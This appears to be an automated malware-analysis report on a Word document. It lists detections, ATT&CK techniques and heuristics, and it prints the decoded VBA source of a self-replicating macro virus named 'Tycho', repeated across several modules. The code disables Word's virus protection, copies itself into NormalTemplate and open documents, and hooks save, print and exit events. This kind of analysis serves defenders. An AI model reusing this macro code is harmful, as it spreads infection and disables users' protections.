MALICIOUS
160
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains VBA macros that appear to be designed to export themselves and potentially establish persistence. The macro attempts to export its own code to 'c:\tycho.nis' and then attempts to import it into the active document and the NormalTemplate, suggesting an effort to ensure the macro runs persistently. The ClamAV detections 'Win.Trojan.Pivis-2' and 'Doc.Trojan.VMPCK1-3' further indicate malicious intent, likely related to trojan functionality.
Heuristics 3
-
ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Pivis-2
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6055 bytes |
SHA-256: 1a4c426ac7b8eeb20d1416297111099421367d13cdc6dc697c6e12b88b74675a |
|||
|
Detection
ClamAV:
Doc.Trojan.VMPCK1-3
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Tycho()
On Error Resume Next
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
Application.VBE.ActiveVBProject.VBComponents("Module1").Export ("c:\tycho.nis")
ActiveDocument.ReadOnlyRecommended = False
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "Tycho" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Tycho" Then ActivInstall = True
Next I
If ActivInstall = False Then
With ActiveDocument.VBProject
With .VBComponents.Import("c:\tycho.nis")
End With
End With
End If
If NormInstall = False Then
Application.VBE.ActiveVBProject.VBComponents("Tycho").Export "c:\tycho.nis"
With NormalTemplate.VBProject
With .VBComponents.Import("c:\tycho.nis")
End With
End With
End If
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If NormInstall = False Then
If NormalTemplate.Saved = False Then NormalTemplate.Save
End If
End Sub
Sub FileSave()
On Error Resume Next
Call Tycho
ActiveDocument.Save
End Sub
Sub FileClose()
On Error Resume Next
Call Tycho
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call Tycho
End Sub
Sub FilePrint()
On Error Resume Next
Dialogs(wdDialogFilePrint).Show
Call Tycho
End Sub
Sub FileExit()
On Error Resume Next
Call Tycho
If ActiveDocument.Saved = False Then ActiveDocument.Save
Application.Quit
End Sub
Sub AutoExit()
On Error Resume Next
Call Tycho
End Sub
Attribute VB_Name = "Module11"
Sub Tycho()
On Error Resume Next
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
Application.VBE.ActiveVBProject.VBComponents("Module1").Export ("c:\tycho.nis")
ActiveDocument.ReadOnlyRecommended = False
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "Tycho" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Tycho" Then ActivInstall = True
Next I
If ActivInstall = False Then
With ActiveDocument.VBProject
With .VBComponents.Import("c:\tycho.nis")
End With
End With
End If
If NormInstall = False Then
Application.VBE.ActiveVBProject.VBComponents("Tycho").Export "c:\tycho.nis"
With NormalTemplate.VBProject
With .VBComponents.Import("c:\tycho.nis")
End With
End With
End If
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If NormInstall = False Then
If NormalTemplate.Saved = False Then NormalTemplate.Save
End If
End Sub
Sub FileSave()
On Error Resume Next
Call Tycho
ActiveDocument.Save
End Sub
Sub FileClose()
On Error Resume Next
Call Tycho
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call Tycho
End Sub
Sub FilePrint()
On Error Resume Next
Dialogs(wdDialogFilePrint).Show
Call Tycho
End Sub
Sub FileExit()
On Error Resume Next
Call Tycho
If ActiveDocument.Saved = False Then ActiveDocument.Save
Application.Quit
End Sub
Sub AutoExit()
On Error Resume Next
Call Tycho
End Sub
Attribute VB_Name = "Module12"
Sub Tycho()
On Error Resume Next
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
Application.VBE.ActiveVBProject.VBComp
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.